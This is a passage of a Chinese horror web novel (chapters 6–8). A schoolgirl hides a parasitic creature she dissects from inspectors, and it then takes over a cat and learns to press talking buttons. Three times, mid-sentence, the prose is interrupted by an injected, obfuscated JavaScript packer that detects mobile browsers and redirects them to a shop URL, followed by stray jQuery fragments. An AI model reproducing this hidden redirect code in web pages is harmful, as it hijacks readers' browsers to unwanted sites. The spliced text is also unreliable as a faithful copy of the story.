年长那位亮出证件,安抚他们说不要紧张:“我们只是挨家挨户过来慰问一下大家的情况,告诉大家如何做好预防工作,要是看到了疑似反叛军的奇怪的人,可以拨打这个电话举报。”
“反叛军已经跑到我们这了吗?我看这几天街道戒严很严重。”唐生民一秒忘了自己方才的出糗,递给年长纠察员一支烟,热络地与对方攀谈起来。
年长纠缠员接过烟:“小事儿,防范于未然嘛。有我们在,反叛军就是落水狗,能闹出什么动静?”
两人像谈论到“今天天气很好”一样和乐融融地笑起来。
唐念向来对类似场面毫无兴趣,正想回房间学习,就听到年轻那位“嗳”了一声叫住她,问:“你受伤了?”
年长纠察员闻言,逐渐收敛起脸上的笑,目光微凝,落向她右手缠绕的绷带,对唐生民说:“怎么伤到的?伤在手上可不行,都快高考了,你女儿是高三生吧?”
“是啊,高三了,她自己走路摔到的。”唐生民趁机小人之心地数落了一下她,“我女儿这人就是忒冒失。”
“我们车里还有瓶促恢复的膏药,要不我让我手下拿过来吧,帮你女儿处理下,别影响写字。”
“哎哟,真没事儿!”唐生民替她推诿了,“就一点小伤,不至于不至于,而且她是左撇子,可以写字。”
“哦——左撇子。”年长纠察员点点头,对她说,“小姑娘以后走路还是得当心点啊。”
他们站在门口宣讲了一通宵禁的注意事项就离开了,转而去慰问提醒下一户住户。
关了门,唐生民感慨说没想到纠察员连她受伤这种小事都能留意到,他之前致力于将纠察员贬损为官方的走狗,但是现在看来,里面倒还有一些人性未泯的人。
唐念对此不置可否,只默默转身回了自己房间。
她坐在座位上,看了眼绷带,决定先把最后一点历史知识背了再去料理晚饭。
结果还没开始动作,保险柜里就传出了“扑扑”的声音,是小怪物在里头制造的噪音。
经过二十来天的相处,唐念已经很习惯它折腾出的一些动静了,她甚至能根据声音分辨出是它哪个部位在动。像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640795|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种扑扑声,一般发生在实验将要开始之前,它感到恐惧和焦躁的时候——它会用身体频繁撞击保险柜内壁,以此舒缓精神上的压力。
唐念做实验有固定的时间,为了控制变量,她一般都会选在晚上相同时间段进行实验。小怪物就像巴甫洛夫的狗,会在实验开始前半小时固定发出惊惧的响动。现在这个钟点还远远不到实验开始的时间,她不明白它为什么提前开始焦躁了。
唐念把卧室门反锁上,打开保险柜,将它捉了出来。
接触到新鲜空气非但没有令它好转,似乎还适得其反。它变得更加混乱,在她掌心里时而蜷成小球,时而张开所有触手,在空气中八爪鱼般舞动,像一台解析错误的机器。她把它放到地面上,而它竟然主动用触手攀上了她的小腿。
怪事中的怪事。
虽然不是百分百确定,但唐念隐隐察觉到小怪物害怕她,毕竟任何一只生物被人关在暗无天日的柜子里不断肢解,都会对始作俑者产生本能的惧意。
可现在它似乎在向她这个侩子手寻求庇护。
唐念想不通这其中的缘由。因为想不通,所以懒得再多想,她毫无同情心地把它从自己腿上扒了下来,扔进柜子里锁好。
这么一折腾,她原先定好用来学习的时间就白白浪费了,眼看已经到了饭点,唐念决定先去做饭。她走到厨房,把米淘洗完,才发现家里的生抽用得只剩薄薄一层。
现在还早,没到宵禁时间,唐念决定去小卖部买瓶生抽应急。
外面风很大,虽然是夏天,但打开屋子门那刻,唐念还是被风逼退回了屋里,她不得不随手拽了件衬衫披在肩上御寒。
小卖部就开在村口,墙上挖了个水井般大的窗户,窗台摆着琳琅满目的日用品,有什么需要的吆喝一声,老板就会抱着孩子从里面走出来,跟她说需要付多少钱。
她来到小卖部前,那里已经站了个买烟的村民,对老板笑道:“……是啊,最近不太平……不过有纠察员在,还是很放心的……我老婆前两天走路去买菜的时候,脖子被一个撑伞的人划了条道子,刚刚纠察员看到了,还很关心呢,让我老婆把伤口给他们看看。”
老板余光瞥见了唐念,问她想买什么,唐念没回答,双眼呆茫像在放空。
“小唐?小唐!”老板提高了音量。
唐念如梦初醒,却没有说自己要什么,反而立刻转身跑开了。
老板和村民对视一眼,纷纷纳闷地耸了耸肩。
*
唐念狂奔回家里,一进家门就扯开了衬衫,方才的奔跑让她出了一头热汗。
唐生民在自己卧室里听戏剧,翘着二郎腿,惬意得很。由于始终没能从她这讨到钱,他这几天倒是比较安生,没再猴儿似的到处走街串巷。
唐念回到自己房间,把房门掩好,快速用剪刀裁开了自己手上的绷带。
经过这些天的恢复,她受的伤已经痊愈得差不多了,结的痂也脱落殆尽,只剩浅浅的白色增生交错在一起。
因为接连受过几次不同的伤,伤疤凌乱交叠,早已看不出原先的样貌,只有她自己依稀记得最开始——怪物刚刚孵化出来那天晚上,它在她手背上留下的第一个伤口拥有非常特殊的形状,像一朵菊花,是由它口器内尖牙的独特排列造成的。
也许是她想多了,但这些年来,失去了母亲的庇护,又要独自拉扯不成熟的父亲,唐念已经习惯用一种野生动物般的直觉生存。
她的直觉以及今天捕捉到的蛛丝马迹告诉她——那些纠察员寻找的根本不是所谓的叛乱军,而是这种特殊的伤口。
换言之,他们搜寻的是她豢养起来的非人的怪物。
保险柜内还在持续不断发出柔软身体撞击内壁的扑扑声,怪物的焦躁如有实质,透过保险柜的震颤传递给她,让她的心脏紧随着同频共振。
唐念深深吸了一口气。
还没从混乱的大脑中抽丝剥茧,想出应对的法子,院子的门便再度被砸响了。
轰轰轰。
这次力道更大,也更急促,有如暴雨前划破天际的惊雷。
6.喵喵
保险柜内的扑腾声随着砸门声变大而消失了,仿佛锨了静音,唐念打开柜子,看到小怪物簌簌僵成了一团。
她把它捞出来,发觉它硬邦邦的,身体也在她掌心里缩成了乒乓球的大小,保险柜里还有团未经消化的呕吐物,她费神分辨了一下才认出那是上午喂给它的鸡胸肉。
看起来它像是吓吐了。
“……”
这个怪异的认知以一种同样不合时宜的方式纾解了唐念因砸门而产生的紧张。虽然不清楚它在恐惧什么,但多半与砸门声有关,它也许察觉到自己大限将至。如果她关于纠察员入户调查的猜测属实,那么不仅仅是她遭殃,身为被搜捕的一员,它当然也在劫难逃。
现在他们是一根绳上的蚂蚱。
唐念不清楚它能否理解合作的概念,她只能寄希望于它理解。
保险柜里已经不方便再藏它了,毕竟如果真的有人进来搜捕,保险柜这种存放重要物品的地方肯定是首要目标,她环顾了一圈卧室——家徒四壁,没有任何隐蔽空间能够用来躲藏。最后她只能退而求其次,把小怪物塞进了自己睡觉用的枕头芯儿,呕吐物则扫出来倒进了垃圾桶。
外头的砸门声还在继续,唐生民在自己卧室高声催她:“唐念,去开门!”
她第一次这么感谢自己父亲的懒惰,他宁可扯着嗓子喊她去开门也不愿意挪挪他的腿,纡尊降贵去把门打开,如果懒汉吃饼的故事是真的,唐生民无疑会因为懒得转动脖子上的饼活活饿死。不过现在,这份懒惰为她提供了应对的时间。
唐念再次检查起手上的伤口,尽管已经辨不出原先的形状了,可很明显是被利器所伤,不符合摔倒擦伤的说辞。她当机立断把刚刚痊愈的手背放到床板粗糙的边缘用力蹭了几下,直到刚痊愈的手背肌肤被她剐碾得皮开肉绽,再也看不清伤口的纹路。
把绷带重新缠回去时,她看到小怪物从枕头芯里探出了半个身子,像是在观察她。
她轻斥一声,让它躲回去藏好。
不知道它能否听懂,也可能单纯是被她的语气呵退了,总之它挥舞着触手缩回了枕头芯里。
砸门声持续不断,唐生民又在催了:“唐念!唐念——”
她直起身,匆匆赶去开门。
院子里的铁门不堪重负,发出尖刺的响声,给人一种再不开门门外的人就要拿大炮轰开的感觉。她把门拉开,看到门外站着足足四个纠察员,除了不久前来过的那两位,还有一个蓄着胡子、五大三粗的生面孔,以及她熟悉的工号为13007的纠察员。
蓄胡子那位一开口就犯冲:“死里边了?敲这么久都不开门?”
13007拉了他一把,满脸不赞成。
唐生民终于慢吞吞从屋里踱了出来,见着这阵仗,先是愣了一下:“这是……”
13007忙说:“唐叔,您别紧张,我们就是过来关心一下。最近反叛军横行,上头非常关心民众的安危,唐念手上的伤我们都很在意,能问问具体是哪天在哪里伤到的吗?”
果然。
唐念心一沉。
唐生民则满脸纳闷:“啊?”
他以为纠察员都很忙,没想到这些人居然有闲心为自己女儿手上一道伤来来回回奔忙,看来这群人果然都是吃白饭的。他差点维持不住自己面皮下的鄙夷,嘴唇鼓动半天,才忍下冲到嘴边的那句“要不你们去找点正事做吧,实在没事做可以把我家院子里的杂草除了”。
13007开始细致地询问唐念是什么时候受伤、在哪里受伤的,还让她把伤口亮出来给他看一看。
她不得不根据手背伤口的严重程度与恢复程度胡编乱造。
好在唐念有一种撒谎不打草稿而且完全不心虚的能力。这种能力对她而言无需习得,因为她生来就没什么微表情,没有能够被肉眼识别的破绽。
她回答的时候,蓄胡子的纠察员一直用不友好的眼神上下扫视着她,像在掂量一块猪肉几斤几两。
问话将近尾声,13007才将笔记一合,朝她温和笑笑,卸掉公事公办的态度,换上了聊家常的口吻,关切地问:“好了,没事就好。再过两个月就高考了,复习得怎么样?”
“还可以。”她谨慎地回答。
“我之前送你那套育文出版社的习题你做完了吗?效果好吗?我家小妹今年高二了,我在想要不要也给她弄一套。”
唐念不得不纠正他:“是联合出版社。”
13007轻轻“啊”了一声,苦笑:“看我这脑子。”
一直在旁边倾听的年轻纠察员问:“前辈,你和这位居民小姐认识啊?”
“是,我们好几年前就认识了,呃,多少年前来着……”13007像个思维卡顿的机器。
他想了半天也没想出来,其他人都看着她,唐念只好接话:“八年前。”
*
八年前,林桐凭空失踪,九岁的唐念央求唐生民去报案,他却满不在乎地说你妈妈应该是去哪里买菜了吧,晚点就会自己回来了。
可晚点林桐也没回来,到了林桐失踪的第三天,唐生民才拖拖拉拉地报了案,结果当然没找到人,唐念妈妈失踪的消息就这样在这座不大的小城作为茶余饭后的八卦不胫而走。
某天晚上放学,她被周昊堵在校门外,他神色得意地说:“听说你妈不要你了啊。”
如此俗套的开端。
她用脚趾都能猜到剧情走向,连多听一句都没耐心,饶过他就想往外走。
周昊拉住她:“你前几天不是特别拽吗?你家里人不是特能为你撑腰吗?怎么现在你妈不要你了啊?”
他的话在她看来幼稚得不行,完全伤不到她,可他掐在她胳膊上的手力气巨大,唐念尝试着甩了一下,没甩开。她有点担心他待会儿哪根神经搭错选择对她动粗,唐念对自己的武斗水平有数,需要求救的时候,她从来不会吝啬自己的声音,刚好这时周昊背后有一个愣头青模样的纠察员开着摩托路过,于是她立刻提高音量叫了声救命。
那年13007刚从纠察学校毕业,20岁,青春正好,却被分配到这个鸟不拉屎的城市工作,远离家人就算了,带他的前辈还是个傻叉,让他受了一肚子鸟气,他开着车在街上巡逻,心里琢磨着辞职的章程,还没琢磨出所以然,一声救命从天而降,将他从虚无乏味的巡逻日常里拯救了出来。
*
枕头内芯由棉花填充而成,廉价的料子,对颈椎并不友好。
小怪物没有这种观念,它只觉得这些棉花非常柔软,软得像它出生前浸泡过的那些孵化液。
她的味道侵蚀进棉花里,由许多不同的气味组成,栀子花沐浴露,香草洗发水,奶香面霜,以及她自身淡淡的体香,杂七杂八地混杂,最后织就它此刻识别到的独特的信息素。
气味几乎将它溺毙,她的气味在它的记忆系统里已经跟恐惧与疼痛高度关联,它一点都不喜欢她,可它也没有趁机逃跑,尽管现在就是最好的逃跑时机,它难得获得了一点点触手可及的自由。
——因为这些浸满她身上香味的棉花形成了一个保护层,无意中替它隔绝了另一个气味的侵扰。
它出生后的经历十分有限,几乎每天都被她禁锢在这间不足十平米的小房间里进行实验,但识别自己种群的化学物质是刻在它基因里的本能。它嗅闻到了危险,那是同类死亡后释放的信息素,就附着在院子外某个男人身上。
贸然离开,然后独自应对未知的威胁,或者留在这里暂时接受她的庇护,它必须尽快在两者之间做出抉择。
“叽叽叽——”
纱窗外突然传来一阵撕心的鸟叫,一只野猫追着一只落单的白头鹎扑在了卧室纱窗上。
几声翅膀扑腾的混乱声响过后,白头鹎歪着脖子停止了挣扎,被猫牙叼住的脖颈渍出斑斑点点血迹,明亮的黑眼珠也一点点失了神采,黯淡成两团漆黑浓厚的墨点。
鸟的尸体从纱窗与猫身之间的间隙滑落,野猫没有急着去叼,死去的猎物已成定局,它对它丧失了大部分兴趣,转而用爪子扒拉起因为刚刚那番争斗而裂开一道缝隙的纱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651387|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
网。
缝隙被它越掏越大,用胡须丈量过距离后,它顺利矮身钻了进去。
卧室里的枕头上趴伏着更令它感兴趣的东西。
*
“哦——这样啊。”听完他们相遇的故事,年轻纠察员点了点头。
蓄胡子那位则显出满脸不耐烦:“聊完了?到底有没有问题?”
13007对他点了点头:“没什么问题,走吧。”
“你确定?真出事咱俩都吃不了兜着走。”
“我确定。”13007像是对唐念非常放心。
他们就这样离开了,专程过来拷问她一通话,却没有进屋搜查,既冒犯又显得格外草率。
唐念一头雾水将门掩上,不敢相信这件事就这么简单地解决了。难道一切都是她自己想太多?他们真的只是担心她的伤口是被反叛军所伤?
……不。
走回自己房间的路上,唐念沉着脸,反复思索咀嚼刚才在门外与纠察员的那番对话,虽然没有确凿证据,也说不清究竟是哪里不对劲,但她还是倾向于相信自己的直觉,这件事肯定没有那么简单。
也许他们所谓的离开只是个烟.雾.弹,是用来迷惑她、让她放松警惕的说辞,过后说不定还会突然杀个回马枪。
不管怎么说,继续藏着怪物都太危险了。
她细细地思索着这些天来用它完成的实验。她承认她依然对它富有兴趣,可这份兴趣好像还没有浓厚到能让她置自己于险境。
它没那么重要。
出于自保,她必须尽快处理掉它。
它能在180℃的高温下坚持十一分钟,再久就不行了……
唐念回顾着之前的实验结论,逐渐加快了脚步。她推开自己卧室的门,一眼便看到了纱窗破裂的洞口。
洞没有宽到能过人,但容纳小怪物出去已经绰绰有余。
她心里一咯噔,快步走到床边拎起了枕头,来回按压。
好极了,里头是空的。
唐念震怒了几秒,随即又迅速镇定下来,她突然意识到怪物逃了对她来说并不是坏事,它既不会说话,也没法写字,没有任何证据能够供出她。它逃了就只是逃了,唯一需要担心的是它回来报复。
那也没有关系,它敢回来报复,她也有办法杀了它。
想通以后,恼怒散去,她以惊人的速度冷静下来,想起还没买的生抽,重新拿上衬衫打算出门。无论如何,填饱肚子都是她人生里头等大事。
就是那一瞬间,她听到了猫叫。
喵喵两声,在卧房里响起,诡异又绵长。
声音的来源地是早已被她弃置不用的红色泡脚水桶。
唐念微微一怔,朝水桶走去。
红色的塑料反着卧室冷白色的光,将端坐在里面的狸猫映出了血的瑰艳,它就坐在那里,坐姿古怪,既像猫又不那么像猫,尾巴僵硬地垂于泡脚桶底部,两只黄绿色的眼睛一眨不眨,瞪得极大,里头瞳孔涣散,黑色瞳仁几乎填满整个眼球。
它始终看着她,在她走近后再次发出“喵喵”的叫声。
喵喵。
喵、喵。
喵——喵。
在重复了十来次之后,唐念才后知后觉它叫声的异常。
它叫起来的音调简直就像唐生民那天晚上找她要钱时,抱着保险柜谄媚地叫——
念念,念念。
念念,喵喵。
喵喵,喵喵。
*
怪物披着猫皮端坐于桶底,以好奇为饵料,钓取她的庇佑。
它知道唐念会答应的。
因为她有一种近乎残忍的好奇心,像幼童仅仅出于好奇便扯掉蜘蛛的脚,她对世间万物的好奇远远凌驾于一切善恶准则之上,是人类最本源的初心。
风送来窗外死去的白头鹎尸体的腥膻,卧室灯光晃眼,映亮她的眼瞳。
她眼底的光亮灿若星辰,冰冷又狂热,以宇宙准则为基准,亘古不变地旋转。
停顿几秒,她朝它笑起来。
7.美味鱿鱼须
吃早餐时唐生民一直觉得小腿痒痒的,像有一根狗尾巴草锲而不舍在挠他,刚开始他还以为是错觉,兴许是风把腿毛吹动了,可忍着喝了几口粥,仍旧痒得不行,伸手到餐桌下一探,捞到条毛茸茸的东西,低头细瞧才发现竟然是猫的尾巴。
一只狸花猫正在他们餐桌底下怡然地走来走去。
“操,哪来的猫?”他吓了一跳。
猫尾巴在他掌心懒洋洋一拂,矜贵地收了回来,在身后蜷曲成C字型,优雅地拢住两只白手套。
这也就算了,更离奇的是它竟然穿着衣服,那身不怎么合身的衣服看起来像是唐念的旧围巾改造的,她什么时候有了这种爱心?
唐念面不改色地往嘴里送了口粥,宣布从今天开始这只猫将会住进他们家。
“你不是只喜欢养虫子吗?”唐生民纳罕。
他一直都知道唐念在宠物方面的兴趣迥异于其他小孩,比起毛茸茸的恒温动物,他女儿古怪地偏爱于饲养别人唯恐避之不及的虫子。
唐生民对动物没有任何感觉,唯一的要求就是不要影响到他。之前能够忍受虫子是因为她养的虫子都很安静,不会乱叫也不会掉毛,他也就睁只眼闭只眼随她去了,可猫不太一样,猫会掉毛。
唐生民倒也不是担心地板被猫毛弄脏,毕竟他一年到头也拖不了几次地。他比较担心吃饭时吃到满嘴猫毛。
唐念对他的抗议置若罔闻,把剩下的半碗粥一口气喝完,抽出纸巾抹了抹嘴,敷衍地说:“吃到猫毛就吐出来。”
“猫毛那么细,又不是每根都能自己吐出来。”
“那就吃点化毛膏吐出来。”
“?”
*
从打算杀死小怪物到决定留下它继续养着,转变仅仅花了几秒。
从震撼中回过神之后,唐念抄起它的前腿,将它从水桶底部抱了出来。
它没有挣扎。
她怀疑小怪物还不太擅长使用它的新身体,因为它抱起来硬得像块石头,完全没有猫的柔软,身上的肌肉时不时会突兀地抽搐一下,眼珠子像松垮的弹簧,随时要从眼眶里掉出来一样。她伸出指腹,把它摇摇欲坠的眼珠摁回眼眶,用力压紧。
本来以为它多多少少会觉得疼,或者因为受到刺激而闭上眼睛分泌泪水,可它一点反应都没有,似乎感觉不到这具寄生的身体传来的回应。
虽然无法往回传导,但它可以控制这具躯体,它蠕动着声带——
喵喵。
“好恶心,别这样叫我。”
它还是叫——
喵喵。
小怪物唯一习得这个称呼的可能就是那天夜晚唐生民来找她要钱的时候,假如它能够理解那天唐生民叫她“念念”的言下之意,那么这个称呼在它看来也许代表着祈求与讨要。
它在求她什么呢?
答案并不难猜。
唐念目光下移,落到了狸猫的腹部。肚子是猫最脆弱的地方,那里现在破开了一个大口,伤口与她第一次被它攻击那样,宛如一朵放射形菊花。
伤口无血,流出来的血液都被它喝光了。
它有寄生于他物的能力,本可以趁机逃出生天,可它没有逃,不仅留了下来,还向她发出祈求的音节,它在请求她的保护。
真有意思。
唐念眯起眼睛。
她猜测也许是这些天来她对小怪物无情却又不至于置它于死地的态度,以及今天在纠察员的探访下保护它的经历,让它将她判断为一个强大的、暂且可以构建合作的对象。
它有这种误解对她来说是不可多得的好事,因为她现在实在对它好奇得抓心挠肝。小怪物的能力比她想象的要广,智商也比她想象的要高。之前唐念只把它当成猫狗一样的生物,然而现在看来,她也许可以试着与它建立某种沟通方式,从它这里获得更多她想了解的知识。
她有太多东西想知道了——它究竟是如何控制这具身体的?作为宿主的猫还活着吗?它的智力能达到什么水准?它能否学会人类的语言与她沟通?它能寄生所有生物吗?它还有什么隐藏的能力?
按捺下好奇,她将小怪物放下来,从衣柜里找出自己不用的旧围巾,打算先给它缝一件遮挡伤口的衣服。
唐念在这方面并不心灵手巧,她拿着剪刀比划了一下,裁出两片布料,凑合着把它们缝在了一起,只留出头和四肢的位置。
她缝制衣服的时候,它就在地板上走来走去,生硬地使用着四肢。猫头的位置偶尔鼓起一个类似瘤子的东西,眼球也时不时朝外一凸,但很快又被它伸出触手拽了回来。它寄生在脑部的位置,猫头对它来说太小了,施展不开,需要时间适应。
这画面一点都不唯美,既诡异又有点恶心,让唐念想起繁殖的白蚁蚁后。
在白蚁种群里,蚁后既是统帅,用信息素操纵所有子民,也是一具恐怖的生育机器。它一生中会产下大约2.5亿枚卵,生育初期腹部还是正常的,与其他白蚁没有太大差异,后面为了提高生育效率,腹部会涨大成远超它体型的白色巨物,这个白色腹腔时时刻刻都在高速蠕动,鼓起又下陷,如同被线虫寄生,每秒钟就可以娩下一枚卵。
唐念草草缝好了衣服,把怪物抱过来,尝试为它穿衣。
它没有反抗,不过这身衣服委实令人不敢恭维,脖颈留的位置像要勒死它一样,考虑到它没有任何感觉,唐念也懒得再改了,就这么把它放了下来。
那天晚上,如何安置小怪物成了一道难题。
她原本想把它继续关进保险柜里,但它体验过自由的滋味,显然有了自己的想法——它不愿意进去。
唐念不得不采取一些暴力手段强行将它塞了进去,结果睡到后半夜,小怪物在柜子里扰人清梦地叫起来。喵喵喵喵。
第二天还要上学,她没工夫与它折腾,把它揪出来威胁了一通,说再叫的话就把它的声带割了。这番威胁的话奏效了一半,它没再猫叫,改成了用爪子挠门。
猫爪在铁柜内挠出喀拉喀拉的声响,不算特别大声,但是持续不断。
唐念总不好把它的手脚也给砍了,她还指望它进行新实验,只能火冒三丈地把它放出来,将卧室的门窗锁死,顶着一肚子无名火躺回床上睡觉。
卧室比起转身都嫌困难的保险柜大了许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664269|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多,它总算没再发出恼人的噪声,唐念裹进被子里,很快又沉入了梦乡。
小怪物操纵着猫的肢体,在卧室内探索。
她的卧室很小,左右不过是一张床、一张书桌、一张学习凳以及一个衣柜,没过多久它就探索完毕,感到索然无味。
比起这些死物,躺在床上均匀呼吸的她更令它感兴趣。
它跳上她的床铺,端坐到她枕头边,透过猫眼观察她熟睡的脸。
唐念长得很漂亮,雪肤丹唇,唇形流畅饱满,鼻尖小巧玲珑,额上还有道美人尖。但它并没有“漂亮”的概念。它观察的是她皮肤之下涌动鲜血的血管,那些毛细血管在她莹白的肤色上呈现出纵横交错的轻浅纹路。
她看起来非常鲜美。
怪物饥肠辘辘。
它吸食了猫身上部分血液与脑浆,这些体.液对它来说远比肉啊菜啊来得可口,尝过以后,刻在它基因里的猎食与寄生的本能被唤醒,它本能地想要猎取更大更好吃的宿主,比如她。她看起来比猫好吃多了。
围巾之下的伤口开始鼓动,它从围巾的缝隙里钻出来,慢慢滑到了她颊侧。
唐念原本是平躺的,忽然翻了个身面朝着它,唇缝微微启开。
小怪物朝她面前凑了凑,闻到她温热的呼吸以及面目之下汩汩奔流的鲜血的甜美,饿得恨不得将她桃色的唇瓣撕碎嚼烂。
它探出一只触手滑入她嘴里,里面是湿.热的。她的口腔内壁看起来很脆弱,它抚.摸到她的软腭,那里离它赖以寄生的大脑非常近,只要从这里穿刺进去,它就可以占据她的身体了。
它正打算把身体也一并送进去,忽然感觉有什么东西夹住了它的触手。
唐念睁开眼睛,眼底一片清明,琥珀色的瞳孔在月光下莹莹如某种冰凉的矿石。
她用臼齿咬着它的触手,不轻不重地磨了磨,犬齿也抵上来,因为没睡好,声音很懒,含混地说:“……鱿鱼。”
她说这话时口腔内一直在源源不断分泌唾液,它虽然听得半懂不懂,但唾液代表食欲,这一点它清楚。
“……”
她好像比它想吃她还要更加想吃它。
它抽回那条触手,默默回到了猫的身体里。
*
早餐吃完,唐念背着书包就要往学校去,临走前把猫锁进了自己房间,交代唐生民别放它出来。
“啊?”唐生民这时候突然又发挥起莫名其妙的同情心,说,“这样不好吧,锁着它它多可怜啊。”
“那就放它出来满屋子掉猫毛。”
“……还是锁着吧。”
她在门口换鞋,唐生民站在客厅里嗑他那袋怎么嗑都嗑不完的瓜子:“它白天要是饿了怎么办?我用不用喂它?它要是乱叫我该怎么办?我能打它吗?但是我打它就得把门打开了,算了我还是不打它吧。对了,它叫什么?”
唐念烦得很,挑了最后一个问题随口一答:“唐夏。”
夏天捡到的,所以名夏。
跟她姓,所以姓唐。
唐生民嘟囔道:“给猫起个人名干嘛……又不是小说,难道还指望猫变人啊?”
8.按键
第一次在小怪物未被完全禁锢的情况下留它和唐生民单独在家,唐念很是担心。
既担心小怪物没分寸,出家门乱跑,被纠察员逮着了,然后祸及她全家,也担心唐生民被它寄生。在清醒状态下,它要寄生唐生民颇有些难度,可睡着就不好说了,而且唐生民还有张大嘴巴打呼的习惯,简直像在邀请怪物朝他嘴里下手一样。
归根究底是它昨晚的行为让她起了些疑心。
说昨晚的行为是捕猎么?其实并没有动真格。说玩闹?又掺了几分认真。
它的行为有点像蟒蛇捕猎前用身体丈量猎物的长度,测试自己能否将其吞下,如果不能,就会继续蛰伏,静待自己成长到能够实现猎食的时机。她对小怪物并不抱有多大的信任,它在她眼里更接近未驯化的野生动物,稍有不慎就会暴露野性,朝异族亮出尖锐的爪牙。
怀着这些担忧,中午唐念早早回了趟家,好在家里一切如常,唐生民也好好活着。
她又交代了一通千万别把猫放出来的话就赶回学校上课了。
下午有节生物课,课后唐念找上生物老师,提出想借显微镜。显微镜和其他危险的化学用品比起来安全多了,实验室的显微镜确实可以靠学生证外借,不过鉴于唐念已经高三了,生物老师没有马上答应。
唐念费尽口舌磨了她整个课间,她才看在她生物成绩向来很好的份上松了口,说好吧:“实验室管理员下班了,明天我再跟管理员说一声,但是只能借你一周。”
一周的时间对完整的实验过程来说当然不够用,可现在也只能先这样了。
傍晚放学回家的路上,唐念盘算着要先从哪里展开研究。
她走到家门口,打开院子门的时候听到了家里传来的欢声笑语。
这有点诡异。
她推开院子门,闻声,唐生民面色红润地从屋里探出半个头,说:“你这只猫还挺聪明。”
唐念一听就知道他做了什么,面色微沉:“你把它放出来了?”
“因为它一直在你卧室里叫嘛。”他答得很无所谓,甚至反客为主地朝她招了招手,让她过来看这只猫究竟有多聪明。
“唐夏。”他叫猫的名字,朝它伸出右手,“握手。”
披着猫皮的小怪物将自己的右爪交到了他手中。
“番茄在哪里?”
它转身走进厨房,从里面叼着一颗番茄走了出来。
唐生民捧出八百年没人下的围棋:“找出三颗黑子。”
它用猫爪拨弄出一、二、三——总共三颗黑子。
“打开电视机遥控器。”
它跃上茶几,伸出毛茸茸的猫爪,对准最大的按钮一摁,电视机屏幕随即亮起来。
“你看你看!”唐生民脸上露出一种爷爷奶奶看到宝贝孙子学会走路的表情,“聪明吧?好玩吧?”
唐念的表情一言难尽。
她惊讶于怪物语言学习能力之强——仔细想想,在她禁锢它的那二十多天里,她好像从来没有跟它说过话,也就没有机会知道它竟然能这么迅速地掌握人类的语言。
惊讶之余,她对唐生民把它当狗训,而且它自己貌似也乐在其中的行径不知该作何感想。
“……我去做饭了。”她放下书包。
炒菜过程中,唐生民还献宝一样,抱着一堆按键进来找她:“这些是我下午找老张要的,他家不是养了条狗吗?本来想买那种宠物按键教狗说话的,但他家狗太笨了,愣是学不会,我下午从他家门前路过,看到他收拾了这些按键想丢掉,就想着干脆拿回家给猫试试好了。你猜怎么着?”
唐念不需要猜,因为唐生民已经自顾自演示开了。
十来个按键,可以自由录音,不过老张没有录音,他使用的是出产默认设置,既包含简单的“对”与“错”,又涵盖了吃饭睡觉这类日常事件,而唐夏毫无意外都已掌握。
厨房里飘出饭香,它把猫爪放在其中一个按键上,锲而不舍地按:
“吃饭。”
“吃饭。”
“吃饭。”
唐生民咯咯笑:“你看,它知道肚子饿了要吃饭。”
吃晚饭的时候,唐念盛出一盆肉汤,拌上米饭,把小怪物赶去卧室吃饭。它在猫的上颚处制造了一个伤口,这样可以把触手从猫嘴里探出来进食,不需要整个身体都从猫身上下来,只是画面不太美妙,她怕唐生民看到这个画面当场厥过去。
肉汤很快被它喝完了,它叼着空盆走出卧室,站在按键旁,继续按:“吃饭。”
唐念瞥了它一眼,盛了第二碗肉汤,往里面多加了几块炖得烂熟的肉。
到这里唐生民已经有些不满了,说一只猫而已,怎么需要吃那么多,要是顿顿都需要吃这么奢侈还不如赶紧丢掉,他们家可养不起。
结果抱怨完没过多久,小怪物又叼着空盆从卧室里走了出来,爪子按上按键:“吃饭。”
“操,吃得比我都多。”唐生民一脚将它踹开,“滚蛋!”
它学会了操纵猫的肢体,可还不那么娴熟,没能躲开唐生民这一脚,被他踹翻到了两三米外。它摇摇晃晃站起来,感觉不到疼,只是四肢因受伤而变得有些僵硬。它僵硬地走回按键前,将爪子烙上去:
“吃饭。”
“吃饭。”
“吃饭。”
……
*
冰冷的无性别机械音在不大的餐厅里回荡,音调始终平平,无喜无怒也无悲。
猫的眼睛也是。
无波无澜,只有不断膨胀的食欲,如同不断扩充的宇宙,被机械音扭曲成声波在幽寂的空气里回荡。
按了足足十七下后,按键的电池电量告罄,最后一声机械音爆发出尖刺啸鸣,断断续续,卡顿又嘶哑,像地狱里爬出的恶鬼:“吃……吃、吃、吃……吃,吃,吃……吃——”
唐生民打了个哆嗦,早已不复下午与猫玩闹的闲情逸致。
